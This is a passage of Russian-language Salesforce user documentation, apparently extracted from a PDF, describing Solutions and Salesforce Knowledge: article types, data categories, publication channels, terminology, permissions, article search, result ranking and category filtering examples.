СМ. ТАКЖЕ:

Решения. Вопросы и ответы

Для чего используются решения?
Решение — этоудобноесредствообработкизапросовклиентов. Решения, принятыепообращениямклиентов, добавляются
вбазу знаний, котораяпозволяет сотрудникамслужбыподдержкинаходитьпредыдущиепохожиезапросыиобрабатывать
текущие запросы в самые короткие сроки.

СМ. ТАКЖЕ:

Решения. Вопросы и ответы
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В чем разница между решениями и часто задаваемыми вопросами?

Часто задаваемые вопросы содержат полезные советы и рекомендации, касающиеся основных аспектов использования
продуктовилиуслуг. Решения содержатответына вопросыклиентов, возникающиеврезультатенепредвиденнойработы
продуктов или услуг. Иногда клиентыне могут точно описать возникшуюпроблему, поэтому решение может содержать
основные сведения об использовании продукта или услуги (подобно часто задаваемым вопросам), а также возможные
способы устранения неполадок или временное решение проблемы.

СМ. ТАКЖЕ:

Решения. Вопросы и ответы

Как создать полезное решение?
Полезное решение должно быть технически точным, а также поддерживать возможность повторного использования и
быстрого поиска.

СМ. ТАКЖЕ:

Решения. Вопросы и ответы

На что следует обратить внимание при проверке решений?

Ниже перечислены рекомендации по проверке решений.

1. Структура: решение должно содержать понятный заголовок, описание, причину и способы решения проблемы.

2. Язык: решение должно быть понятным и доступным на родном языке клиента.

3. Отсутствие сведений о клиентах: решение не должно содержать сведений о клиентах.

4. Техническая точность: решение должно быть достоверным и эффективным.

5. Компетентность: решение не должно содержать орфографических и грамматических ошибок.

6. Конфиденциальность:решениенедолжносодержать конфиденциальнойилиспециализированнойинформации,
предназначенной для внутреннего пользования.

СМ. ТАКЖЕ:

Решения. Вопросы и ответы

Что означают флажки «Отображается на портале самообслуживания» и «Отображается в
общедоступной базе знаний» для решения?
Решение, помеченное флажками «Отображается на портале самообслуживания» и «Отображается в общедоступной
базе знаний», доступновнешнимпользователямнапортале самообслуживания, клиентскомпорталеи вобщедоступных
решениях. Решения, доступные внешним пользователям, считаются опубликованными.

Флажок «Отображаетсявобщедоступнойбазезнаний»применяется только крешениям, нонеприменяется к статьям
общедоступной базы знаний.
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Прим.: Начиная с выпуска Spring'12 портал самообслуживания недоступен для новых организаций. Текущие
организации могут использовать портал самообслуживания в обычном режиме.

СМ. ТАКЖЕ:

Решения. Вопросы и ответы

Salesforce Knowledge

Общие сведения о Salesforce Knowledge

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Компонент Salesforce
Knowledge доступен за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

Salesforce Knowledge — это база знаний, позволяющая пользователям создавать и
управлять содержимым (которое называется «статьями»), а также быстро находить и
просматривать нужные статьи. Если организация использует Salesforce Knowledge, то
пользователи могут создавать, редактировать, публиковать и архивировать статьи на
вкладке «Управлениестатьями», а такжеискатьипросматриватьопубликованныестатьи
на вкладке «Статьи». Клиенты и партнеры могут иметь доступ к статьям только в том
случае, если клиентский или партнерский портал поддерживает Salesforce Knowledge.
При необходимости пользователи могут создать общедоступную базу знаний,
позволяющую посетителям веб-сайта просматривать статьи.

Ниже перечисленыфункции Salesforce Knowledge, обеспечивающие эффективное
управление базой знаний и ее пользователями.

Использование типов статей
Тип статьи — это настраиваемыйконтейнер для статей. Каждая статья принадлежит
типу, определяющему ее содержимое и структуру. Администраторы определяют
типы статей путем создания настраиваемых полей для сбора данных, группировки
или изменения порядка отображения полей в макете, а также выбора шаблона типа
статьи. Шаблон типа статьи определяет способ отображения макета при просмотре опубликованной статьи.
Администраторы могут выбирать уникальные шаблоны для разных типов статей и разных групп пользователей.
Система Salesforce предлагает два стандартныхшаблона типа статьи — «Вкладка» и «Содержание», а Visualforce может
использоваться для создания настраиваемыхшаблонов.

Категоризация статей
Категории данных позволяют классифицировать статьи Salesforce Knowledge. Данная классификация позволяет
пользователям находить нужные статьи, а администраторам — контролировать их доступность. После настройки
категорий данных менеджеры статей могут назначать соответствующие категории черновым статьям. Категории
позволяют конечным пользователям искать опубликованные статьи в любом канале («Внутреннее приложение»,
«Клиент», «Партнер» и «Общедоступная база знаний»). Если организация использует иерархию ролей, то доступ к
категориям данных определяется ролью пользователя.

Управление статьями
Вкладка «Управление статьями» позволяет менеджерам статей создавать статьи и находить или управлять текущими
статьями на каждом этапе жизненного цикла статьи.

1. Создайте и сохраните новую статью.

2. При необходимости переназначьте статью редактору, переводчику, эксперту или любому другому соавтору.
Данныйпользователь сможет переназначать статьюнеограниченное количество раз, пока содержимое статьи не
будет готово для публикации. Если типу статьи задан процесс утверждения, то статья должна быть отправлена
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текущим или назначенным пользователем на утверждение. Статья отправляется одному или нескольким
ответственным за утверждение, которые могут ее принять или отклонить.

3. В зависимости от доступных целевых аудиторий, опубликуйте готовый черновик как минимум в один канал:
вкладка «Статьи» в организации Salesforce, клиентский портал, партнерский портал или общедоступная база
знаний. При необходимости запланируйте публикацию статьи на нужную дату.

4. При необходимости обновите статью. Чтобы изменить опубликованную статью, отмените публикацию статьи
(исходная статья недоступна другим пользователям) или создайте копию опубликованной исходной статьи
(обновленная статья заменяет исходную статью).

5. Чтобы удалить устаревшую статью из публикации, заархивируйте нужную статью. Подобно публикации,
архивирование может быть выполнено незамедлительно или запланировано на нужную дату.

6. При необходимости удалите статью или преобразуйте ее в черновик и повторите процесс публикации.

Создание статей
Процесссозданиястатейвключаетследующиеэтапы: выбортипастатьи, созданиесодержимого, назначениекатегорий
и выбор как минимум одного канала. В зависимости от типа статьи, разные типы данных могут поддерживать разные
поля.

Многоязычная поддержка
Salesforce Knowledge позволяет сократить расходы на поддержку путем перевода статей на нужные языки. После
настройки параметров языка пользователям доступны два метода перевода: самостоятельный перевод статей
посредством инструмента редактирования в базе знаний или отправка статей поставщику перевода. Разные языки
могут использовать разные методы. Например, статьи могут быть назначены пользователю Salesforce Knowledge для
перевода на испанский язык и отправлены поставщику для перевода на французский язык.

Использование статей для принятия решений по обращениям
Совместно с обращениями, Salesforce Knowledge является эффективным инструментом поддержки клиентов. Чтобы
выполнятьпоискпобазе знанийпрямонастраницесведенийобобращенииидобавлятьсвязанныестатьивобращение,
добавьте связанныйсписок «Статьи» вмакетыстраницобращений. Статья, созданная агентомслужбыподдержкипри
закрытииобращения, можетиспользоватьсядлясбораважнойинформацииисокращениявременипринятиярешения
по будущим обращениям.

Поиск статей
Поиск статей в Salesforce Knowledge отличается быстротой и удобством. Чтобы выполнить полнотекстовый поиск по
базе знаний, введите поисковый запрос на вкладке «Статьи». Чтобы уточнить область поиска, выберите нужные типы
статей и категории. Если включена поддержка бета-версии функции исправления ошибок при поиске, то система
выполняет поиск и извлекает варианты замены для англоязычных критериев поиска. Результаты поиска могут быть
отфильтрованы по языку, статусу проверки и категории; сортировка элементов спискового представления может
быть выполнена по нескольким критериям, таким как: высокий рейтинг или наибольшее количество просмотров.
Вкладка «Управление статьями» позволяет искать конкретную статью в выбранном списковом представлении.
Компонент «Поиск статей» позволяет искать статьи на вкладке «Начальная страница».

Оценка статей
Пользователи внутреннего приложения, клиентского и партнерского порталов могут присваивать статьям от одной
до пяти звезд, а также просматривать средний рейтинг статьи. Средние рейтинги постоянно изменяются. В случае
отсутствия новых голосов средний рейтинг статьи понижается или повышается каждые 15 дней. Данное изменение
позволяет новым популярным статьям конкурировать со старыми или устаревшими статьями за более высокие или
низкие рейтинги. В случае отсутствия новых голосов статьям присваивается средний рейтинг, равный трем звездам.
Кроме того, вкладка «Статьи» позволяет пользователям сравнивать рейтинги разных статей и сортировать элементы
спискового представления в соответствии с наибольшим или наименьшим рейтингом.
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Прим.: Статьи, которые не участвовали в голосовании, получают средний рейтинг, равный трем звездам.

СМ. ТАКЖЕ:

Терминология Salesforce Knowledge

Терминология Salesforce Knowledge

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

Нижеприведенытермины, используемыедляописанияфункциональныхвозможностей
Salesforce Knowledge.

Архивная статья
Архивная статья — это опубликованная статья, удаленная из общего доступа.
Менеджерыстатеймогутпросматриватьи управлять архивнымистатьямина вкладке
«Управление статьями» путем выбора вложенной вкладки «Статьи» в области
«Просмотр» и установки переключателя «Архивные статьи». Архивные статьи
недоступны на вкладке «Статьи» (во всех каналах) и общедоступной базе знаний.
Статьи могут быть заархивированы вручную или автоматически (по дате истечения
срока действия).

Статья
Статья содержит сведения о продуктах и услугах компании, которые должны быть
доступны в базе знаний.

Менеджер статей
Система Salesforce использует термин «менеджер статей» для обозначения отдельного типа пользователя. Менеджеры
статеймогут создавать, редактировать, назначать, публиковать, архивироватьи удалять статьина вкладке «Управление
статьями». Менеджеры статей также могут называться менеджерами базы знаний. Менеджерам статей должно быть
предоставлено полномочие «Управление статьями». Вкладка «Управление статьями» доступна только при наличии
полномочия «Управление статьями».

Тип статьи
Всем статьям Salesforce Knowledge назначается тип статьи. Тип статьи определяет тип содержимого, внешний вид и
пользователей, которым предоставляется доступ к статье. Например, простой тип статьи «Вопросы и ответы» может
содержать два настраиваемых поля («Вопрос» и «Ответ»), которые используются менеджерами статей для ввода
данных при создании или обновлении статей, посвященных вопросам и ответам. Более сложный тип статьи может
содержатьдесяткиполей, систематизированныепоразнымразделам. Макетыишаблоныпозволяютадминистраторам
структурировать тип статьи на основе его содержимого. Доступ пользователя к типам статей определяется
полномочиями. Администратор может предоставить пользователям полномочие «Создание», «Чтение»,
«Редактирование» или «Удаление» длякаждоготипастатьи. Например, менеджерстатейможетпредоставитьвнутренним
пользователям доступ для чтения, создания и редактирования типов статей «Вопросы и ответы», а
пользователям-партнерам — только доступ для чтения.

Макет типа статьи
Макеттипа статьипозволяет администраторамсоздаватьразделы, систематизирующиеполя статьи, а также выбирать
поля, доступные пользователям для просмотра и редактирования. Каждый тип статьи использует один макет. Макет
может быть изменен администратором на странице сведений о типе статьи.

Шаблон типа статьи
Шаблон типа статьи определяет порядок отображения разделов в макете типа статьи. Каждый их четырех каналов
может использовать отдельныйшаблон типа статьи. Например, если каналу «Клиентский портал» назначеншаблон
«Вкладка» для типа статьи «Вопросы и ответы», то разделы макета «Вопросы и ответы» отображаются в виде вкладок
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припросмотре клиентамистатьи «Вопросыиответы». Прииспользованиишаблона «Содержание» разделы, заданные
вмакете, отображаютсянаоднойстраницев виде гиперссылок. Система Salesforceпредлагаетдва стандартныхшаблона
типа статьи — «Вкладка» и «Содержание». Настраиваемые шаблоны могут быть созданы посредством Visualforce.

Группа категорий для статей
В Salesforce Knowledge группакатегорийпозволяеторганизовыватькатегорииданныхвлогическуюиерархию. Например,
чтобы классифицировать статьи по регионам продаж и бизнес-единицам, создайте две группы категорий: «Регионы
продаж» и «Бизнес-единицы». Группа категорий «Регионы продаж» может состоять из географической иерархии, в
которойкатегория «Всерегионыпродаж» будетрасположенана самомверхнемуровне, категории «СевернаяАмерика»,
«Европа» и «Азия» — на втором уровне, и так далее (вплоть до пятого уровня). При создании статей категории
назначаются авторами статей. Конечные пользователи могут искать и фильтровать статьи по категории.

Канал
Канал — этосредствопредоставлениядоступакстатье. Salesforce Knowledgeпредлагаетчетыреканала, поддерживающие
доступ к статьям.

• Внутреннееприложение: Доступ к статьямна вкладке «Статьи» предоставляетсяпользователям Salesforceнаоснове
доступности их ролей.

• Клиент: Доступ к статьямпредоставляется клиентам толькоприотображении вкладки «Статьи» в сообществе или
на клиентском портале. Пользователи-клиенты наследуют доступность роли от менеджера организации. В
сообществе статья доступна только пользователям с лицензией Customer Community или Customer Community Plus.

• Партнер: Доступ к статьям предоставляется партнерам только при отображении вкладки «Статьи» в сообществе
или на партнерском портале. Пользователи-партнеры наследуют доступность роли от менеджера организации.
В сообществе статья доступна только пользователям с лицензией Partner Community.

• Общедоступная база знаний: Чтобы предоставить анонимным пользователям доступ к статьям, рекомендуем
создать общедоступную базу знаний посредством приложения «Образец общедоступной базы знаний для Salesforce
Knowledge» из каталога AppExchange. Создание общедоступной базы знаний требует наличия Sites и Visualforce.

• Собственный веб-сайт. Чтобы предоставить пользователям доступ к статьям, воспользуйтесь корпоративным
веб-сайтом.

Категория данных для статей
В Salesforce Knowledge категорияданных — этонаборкритериев, структурированныхвиерархические группыкатегорий.
Статьям базы знаний могут быть назначены разные категории, благодаря чему пользователи могут быстро находить
нужные статьи. Например, чтобы классифицировать статьи по регионам продаж и бизнес-единицам, создайте две
группы категорий: «Регионы продаж» и «Бизнес-единицы». Группа категорий «Регионы продаж» может состоять из
географической иерархии, в которой категория «Все регионы продаж» будет расположена на самом верхнем уровне,
категории «СевернаяАмерика», «Европа» и «Азия» — навторомуровне, итакдалее (вплотьдопятогоуровня). Категории
назначаются авторами статей. Категории данных позволяют администраторам контролировать доступ к статьям.

Черновая статья
Черновая статья — это незавершенная статья, которая еще не опубликована, то есть недоступна на вкладке «Статьи»
(вовсех каналах) ивобщедоступнойбазе знаний. Менеджерыстатеймогутпросматриватьчерновыестатьинавкладке
«Управлениестатьями» путемвыборавложеннойвкладки «Статьи» вобласти «Просмотр» иустановкипереключателя
«Черновыестатьи». Черновыестатьимогутбытьотфильтрованыпоназначению: текущемуилилюбомупользователю
(все черновые статьи организации). Черновые статьи могут быть назначены любому пользователю, связанному с
редактурой.

Черновой перевод
Черновойперевод — это незавершенныйперевод статьи на разные языки. Данныепереводыне публикуются, то есть
недоступны на вкладке «Статьи» (во всех каналах) и в общедоступной базе знаний. Менеджеры статей могут
просматриватьчерновыепереводына вкладке «Управлениестатьями» путемвыбора вложеннойвкладки «Переводы»
в области «Просмотр» и установки переключателя «Черновые переводы». Черновые переводы могут быть
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отфильтрованыпоназначению: текущемупользователю, очередипереводаилилюбомупользователю (всечерновые
переводыорганизации).Переводымогут быть назначенылюбомупользователю, которыйможет публиковать статьи
Salesforce Knowledge.

Агент базы знаний
Система Salesforceиспользует термин «агентбазы знаний» для обозначения отдельного типа пользователя. Агентыбазы
знаний — это пользователи статей во внутреннем приложении Salesforce Knowledge. Данные пользователи могут
использовать вкладку «Статьи» для поиска и просмотра статей, но не могут создавать, редактировать и управлять
статьями.

Опубликованная статья
Опубликованные статьи доступны на вкладке «Статьи» во внутреннем приложении, а также на клиентском портале,
партнерском портале и в общедоступной базе знаний. Чтобы удалить опубликованную статью, рекомендуем ее
заархивироватьилиназначитьстатусчерновойнавкладке «Управлениестатьями». Чтобыпросмотретьопубликованные
статьи, откройте вкладку «Управление статьями», выберите вложенную вкладку «Статьи» в области «Просмотр» и
установите переключатель «Опубликованные статьи».

Опубликованный перевод
Опубликованныйперевод — это статья, переведеннаянаразные языкиидоступнаяна вкладке «Статьи» во внутреннем
приложении, а также на клиентском портале, партнерском портале и в общедоступной базе знаний. Чтобы удалить
опубликованныйперевод, рекомендуем его заархивировать или назначить статус чернового на вкладке «Управление
статьями». Чтобы просмотреть опубликованные переводы, откройте вкладку «Управление статьями», выберите
вложеннуювкладку«Переводы» вобласти «Просмотр» иустановитепереключатель«Опубликованныепереводы».

СМ. ТАКЖЕ:

Общие сведения о Salesforce Knowledge

Поиск статей и внешних источников на вкладке «База знаний»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Чтение» для типа статьиДля просмотра статей:

«Управление статьями»

И

«Чтение» и «Создание» для типа статьи

Для создания статей:

«Управление статьями»

И

«Чтение» и «Редактирование» для типа
статьи

Для редактирования черновых статей:

«Управление статьями»

И

Для редактирования опубликованных или
архивных статей:

«Создание», «Чтение» и «Редактирование»
для типа статьи
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«Управление статьями»

И

Для удаления черновых, опубликованных или архивный
статей:

«Чтение», «Редактирование» и «Удаление» для типа статьи

«Настройка приложения»Для создания и редактирования внешних источников данных:

Рекомендуем использовать интегрированный поиск для одновременного поиска всех ресурсов.

Чтобы выполнить поиск по статьям Salesforce Knowledge и внешним источникам данных, выполните указанные ниже
действия.

1. Введите поисковый запрос в поле поиска.

Поисковые запросымогут содержать специальныесимволыиоператоры. Еслиорганизацияподдерживаетфункцию
автозаполнения, то пользователям отображаются варианты, доступные для выбора.

Прим.: Раскрывающийсясписок вариантов автозаполненияотображает заголовкистатей значкомлистабумаги,
а ключевые слова — значком лупы.

2. Щелкните значок поиска или нажмите клавишу Enter.

3. Чтобы уточнить результаты поиска, выберите нужные фильтры.

Взависимостиотискомогоисточника, воспользуйтесьфильтрациейпоязыку, категорииданных, статусу статьи, типу
статьи или проверке статьи. Чтобы задать всем фильтрам стандартные параметры, щелкните «Сбросить».

• При выборе параметра «Все» система позволяет фильтровать по языку и категории данных.

• При выборе параметра «Статьи» или «Мой черновик» система позволяет фильтровать по:

– Статус статьи: «Опубликовано», «Черновик» и «Черновые переводы»

– Язык: значения определяются компонентами, поддерживаемыми организацией

– Категории данных: значения определяются компонентами, созданными организацией

– Тип статьи: значения определяются компонентами, созданными организацией

– Статус проверки: «Нет фильтра» (все статьи), «Не проверено» (непроверенные статьи), «Проверено»
(проверенные статьи) и любые другие значения, поддерживаемые организацией (например, «Проверяется»)

• При выборе внешнего источникафильтры отсутствуют, а отображаемые общие сведения о статье определяются
макетом поиска внешнего объекта.

4. Чтобы отсортировать статьи, выберите нужный критерий.

• Дата публикации

• Лучший рейтинг

• Самое популярное

• Заголовок: A—Z

• Заголовок: Z—А

5. Чтобы просмотреть сведения, щелкните заголовок нужной статьи или внешнего источника. Как правило, под
заголовком отображаются общие сведения о статье. Например, указатель новой статьи, номер статьи, тип статьи,
статус проверки, дата последней публикации, сравнение представления статьи и сравнение рейтинга статьи.

6. Чтобы начать отслеживание, отменить отслеживание, изменить, опубликовать или удалить статью при наличии
соответствующих полномочий, воспользуйтесь раскрывающимся списком напротив каждой статьи.
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Поиск статей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Компонент Salesforce
Knowledge доступен за
дополнительную плату в
версиях Enterprise и
Unlimited.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
опубликованных статей на
вкладке «Статьи» или в
связанном списке «Статьи»:
• «Чтение» для типа

статьи

Для просмотра черновых,
опубликованных или
архивных статей на вкладке
«Управление статьями»:
• «Управление статьями»

И

«Чтение» для типа
статьи

• Поиск статей на вкладке «Статьи»

• Поиск статей на вкладке «Управление статьями»

• Поиск статей из обращений

• Поиск статей посредством функции глобального поиска

Поиск статей на вкладке «Статьи»

Поумолчаниювкладка «Статьи» содержитстатьи, созданныеилиизмененныев течение
последних 30 дней. Чтобынайти нужнуюстатью, воспользуйтесь средствамипоиска на
боковойпанели. Есливключенаподдержкабета-версиифункцииисправленияошибок
припоиске, то системапредлагает альтернативныйкритерийпоиска в случаеотсутствия
исходного критерия поиска в англоязычном словаре. Чтобы просмотреть возможные
варианты замены, щелкните ссылку для нужного поискового запроса.

1. Введите поисковый запрос в поле поиска. Поисковые запросы могут содержать
специальные символы и операторы.

Прим.: При нажатии кнопки «Начать» без ввода поискового запроса или
выбора типа статьи, статуса проверкиили категории, поиск возвращает статьи,
созданные или измененные в течение последних 30 дней. Пустой поиск не
возвращает все опубликованные статьи базы знаний.

2. При необходимости выберите как минимум один нужный тип статьи.

3. Нажмите кнопку «Начать».

4. Чтобы уточнить результаты поиска, выберите нужные фильтры.

Совет: Вкладка «Начальная страница» может использоваться для поиска статей
толькоприналичиикомпонента «Поиск статей». Введитепоисковыйзапрос вполе
«Поиск статей».

Поиск статей на вкладке «Управление статьями»

Вкладка «Управлениестатьями» позволяетпросматриватьстатьиналюбомэтапепроцесса
публикации и искать конкретные статьи в выбранном списковом представлении.
Стандартное списковое представление на вкладке «Управление статьями» содержит
черновые (неопубликованные) статьи, назначенные текущему пользователю. Если включена поддержка бета-версии
функцииисправления ошибокприпоиске, то система выполняет поиск иизвлекает варианты заменыдля англоязычных
критериев поиска.

Чтобы найти нужную статью, воспользуйтесь средствами поиска в области «Просмотр».

1. Выберите вложенную вкладку «Статьи».

2. Установите переключатель «Черновые статьи», «Опубликованные статьи» или «Архивные статьи». Черновые
статьи могут быть отфильтрованы по назначению: текущему или любому пользователю (все черновые статьи
организации).

3. При необходимости введите поисковый запрос в поле «Поиск по представлению». Поисковые запросы могут
содержать специальные символы и операторы. Поле «Поиск по представлению» не поддерживается для архивных
статей. Нажмите кнопку «Начать».
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4. Нажмите кнопку «Начать».

5. Чтобы уточнить результаты поиска, выберите нужные фильтры.

Поиск переводов на вкладке «Управление статьями»

Вкладка «Управление статьями» позволяет просматривать переводы на любом этапе процесса перевода статьи и искать
конкретный перевод в выбранном списковом представлении.

Чтобы найти нужную статью, воспользуйтесь средствами поиска в области «Просмотр».

1. Выберите вложенную вкладку «Переводы».

2. Установите переключатель «Черновыепереводы»или «Опубликованныепереводы». Черновые переводымогут
быть отфильтрованы по назначению: текущему пользователю, очереди перевода или любому пользователю (все
черновые переводы организации).

3. При необходимости введите поисковый запрос в поле «Поиск по представлению». Поисковые запросы могут
содержать специальные символы и операторы. Поле «Поиск по представлению» не поддерживается для архивных
статей. Нажмите кнопку «Начать».

4. Нажмите кнопку «Начать».

5. Чтобы уточнить результаты поиска, выберите нужные фильтры.

Поиск статей из обращений
Связанный список «Статьи» на странице сведений об обращении может использоваться для поиска статей Salesforce
Knowledge, которые могут оказаться полезными для решения обращения. Найденные статьи могут быть прикреплены к
обращению, где они будут доступны для использования на протяжении всего времени существования записи, либо до
момента их удаления. Пользователь организации, выполняющейперевод статей, может добавить переведеннуюверсию
статьи в обращение.

Если предложенные статьи не содержат решения, создайте статью посредством кнопки «Создать». Если включена
поддержка бета-версии функции исправления ошибок при поиске, то система выполняет поиск и извлекает варианты
замены для англоязычных критериев поиска.

1. Нажмите кнопку «Поискстатей» в связанномсписке «Статьи» на странице сведенийобобращении. Темаобращения
автоматически используется как поисковый запрос для отображения исходного списка результатов поиска.

2. Уточните результаты поиска по типу статьи или категории на боковой панели страницы «Статьи».

3. Чтобы уточнить результаты поиска, выберите нужные фильтры.

4. Чтобыприкрепить найденнуюстатью к обращению, установитефлажок напротив нужной статьи и нажмите кнопку
«Вложить в обращение» или «Вложить и перейти к обращению».

Прим.: Статьянеможетбытьвложенаилиудаленаизвложениянастранице «Статьи». Рекомендуемоткрытьстраницу
сведений об обращении и вложить или удалить вложенную статью из связанного списка «Статьи».

Поиск статей посредством функции глобального поиска
Чтобы уточнить результаты глобального поиска, щелкните ссылку «Параметры поиска...» в раскрывающемся списке
и установите флажок «Статьи».

При использовании многоязычной организации Salesforce Knowledge результаты глобального поиска по статьям
отображаются на личном языке пользователя. Если Salesforce Knowledge не поддерживает стандартный личный язык, то
результаты поиска отображаются на стандартном языке базы знаний, используемом в организации.
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Прим.: Глобальный поиск возвращает только опубликованные статьи, но не черновые или архивные статьи.

Использование фильтров для уточнения списка результатов
Фильтры позволяют уточнить извлеченные результаты поиска.

• Чтобы отфильтровать найденные статьи по языку, воспользуйтесь фильтром «Язык статьи».

• Если организация использует категории, то списковое представление может быть отфильтровано как минимум по
одной категории.

Прим.:

– Некатегоризированнаястатьяотображается толькопривыборе значения «Нет фильтра» враскрывающемся
меню категорий.

– Выбор категории при поиске статей или переводов автоматически инициирует добавление родительской
идочернихкатегорий, а такжелюбыхпрародительскихкатегорийвплотьдоверхнегоуровня. Одноуровневые
категориинедобавляются. Например, иерархиякатегорийсодержитуровни «Всепродукты», «Коммутаторы»,
«Оптические сети» и «Сетевое оборудование». Таким образом, выбор категории «Оптические сети» в
раскрывающемся меню категорий возвращает статьи, назначенные любым четырем категориям. Однако,
если категория «Коммутаторы» имеет одноуровневую категорию «Маршрутизаторы», то выбор категории
«Оптическиесети» невозвращаетстатьи, назначенныекатегории «Маршрутизаторы». Параметрыдоступности
категорий могут ограничить область поиска до конкретных статей.

– Если организация использует роли, то пользователи без роли могут просматривать только
некатегоризированные статьи.

– Еслипользователюдоступна толькоодна категорияиз группыкатегорий, то вкладка «Статьи» неотображает
раскрывающееся меню категорий для данной группы категорий.

• Чтобы ограничить поиск состоянием статьи в процессе публикации, выберите нужный статус проверки (при его
наличии).

СМ. ТАКЖЕ:

Пример результатов поиска статьи

Алгоритм лемматизации в поисках по статьям Salesforce Knowledge

Вкладка «Статьи» или «База знаний»
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Общие сведения о результатах поиска статей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
опубликованных статей на
вкладке «Статьи» или в
связанном списке «Статьи»:
• «Чтение» для типа

статьи

Для просмотра черновых,
опубликованных или
архивных статей на вкладке
«Управление статьями»:
• «Управление статьями»

И

«Чтение» для типа
статьи

Алгоритмпоиска статейопределяетсяиспользуемымипараметрамипоиска, критериями
поиска, специальными символами и операторами.

Поиск статей Salesforce Knowledge использует настраиваемые алгоритмы поиска,
доступные во всей системе Salesforce, которые поддерживают разные механизмы
(например, разметка, лемматизация и списки стоп-слов) для возврата релевантных
результатов поиска, кроме исключения ниже.

Операторы
При отсутствии оператора, заданного пользователем, механизм поиска
самостоятельно выбирает наиболее оптимальный оператор.

Многиепоискииспользуютоператор «И» в качестве стандартного. Другимисловами,
при поиске по нескольким критериям отображается только результат,
соответствующий всем критериям. В отличие от поисков посредством оператора
«ИЛИ», которые возвращают результаты, соответствующие любому критерию
поиска, соответствие всем критериям позволяет повысить точность отображаемых
результатов.

При отсутствии результатов, соответствующих всем критериям, механизм поиска
обрабатываетданныепосредствомоператора «ИЛИ». Чембольшекритериевпоиска,
использующего оператор «ИЛИ», содержит найденный документ, тем выше его
позиция в списке результатов.

Порядок отображения статей в списке результатов

Порядокотображениястатейв спискерезультатовопределяетсяцелымрядомфакторов.
Система Salesforce оценивает критерии поиска и доступные данные для перемещения
наиболее точных совпадений вверх списка. Ниже перечислены некоторые факторы.

Частота
Данный алгоритм определяет частоту отображения термина в каждой статье. Затем
найденные статьи сопоставляются друг с другом для создания исходного набора
результатов поиска.

Релевантность
Статьи, которые просматриваются или добавляются в обращения чаще других,
отображаются вверху списка. Кроме того, позиция статьи в результатах поиска
определяется ответственностью за статью и недавними действиями.

Близость терминов
Статьи, содержащие все ключевые слова, отображаются первыми; статьи, содержащие несколько ключевых слов,
отображаются в середине; статьи, содержащиеодноключевое слово, отображаютсяпоследними. Чемближекритерии
поиска расположены друг к другу в найденном документе, тем выше он отображается в списке результатов.

Точные совпадения
Точныесовпаденияотображаютсяв спискерезультатоввыше, чемсовпаденияпосинонимамилилемматизированным
терминам.

Поле заголовка
Статья, заголовок которой соответствует хотя бы одному из заданных критериев поиска, отображается вверху списка.
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Последовательность маркеров
Результаты поиска по критерию, разбитому на несколько маркеров, отображаются вверху списка в той же
последовательности, чтоимаркеры. Вэтом случае точные совпадения занимают в результатахпоиска более высокую
позицию, чем совпадения по маркерам, между которыми расположены другие маркеры.

СМ. ТАКЖЕ:

Поиск статей

Пример результатов поиска статьи

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
опубликованных статей на
вкладке «Статьи» или в
связанном списке «Статьи»:
• «Чтение» для типа

статьи

Для просмотра черновых,
опубликованных или
архивных статей на вкладке
«Управление статьями»:
• «Управление статьями»

И

«Чтение» для типа
статьи

Чтобы уточнить результаты поиска статей, выберите нужные категории. Таблица ниже
содержит подробный пример фильтрации по категориям. Данный пример использует
две группыкатегорий («Продукты»и «География») итристатьи. Допустим, пользователю,
выполняющему поиск, доступны все категории.

Табл. 36: Пример: какфильтрация по категориям уточняет результаты поиска
статьи?

Статья,
назначенная
только категории
«Европа»

Статья,
назначенная
категориям
«Канада» И
«Компьютеры»

Статья,
назначенная
категориям «Все
страны» И
«Портативные
компьютеры»

Фильтры
категории

НЕНАЙДЕНА.
Причины:

НАЙДЕНА.
Причины:

НАЙДЕНА.
Причины:

Все страны

И

Все продукты ••• Категория
«Европа»
является
дочерней для
категории «Все
страны», но
должны быть
выполнены все
критерии
фильтрации.

Категория
«Канада»
является
дочерней для
категории «Все
страны».

Категория «Все
страны» — это
точное
совпадение.

• Выбор
категории «Все
продукты»
автоматически
добавляет
категорию
«Портативные
компьютеры».

• Категория
«Компьютеры»
является
дочерней для
категории «Все
продукты».

• Статье не
назначена
категория из
группы
категорий
«Продукты».
Чтобы извлечь
данную статью,
выберите пункт
«Нетфильтра» в
раскрывающемся
менюкатегорий.
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Статья, назначенная
только категории
«Европа»

Статья, назначенная
категориям «Канада» И
«Компьютеры»

Статья, назначенная
категориям «Все страны»
И «Портативные
компьютеры»

Фильтры категории

НЕНАЙДЕНА. Причины:НЕНАЙДЕНА. Причины:НАЙДЕНА. Причины:Азия

И • Категории «Европа» и
«Азия» являются

• Категории «Канада» и
«Азия» не являются

• Категория «Все страны»
является родительской
для категории «Азия».

Компьютеры
одноуровневыми, а не
родительскими или
дочерними.

родительскими или
дочерними, так как
принадлежат разным
ветвям иерархии
категорий.

• Категория «Портативные
компьютеры» является
дочерней для категории
«Компьютеры».

• Чтобы извлечь статью,
которой не назначена
категория, выберите• Категория

«Компьютеры» — это пункт «Нет фильтра» в
точное совпадение, но соответствующем
статья отображается раскрывающемся меню

категорий.только при выполнении
всех критериев
фильтрации.

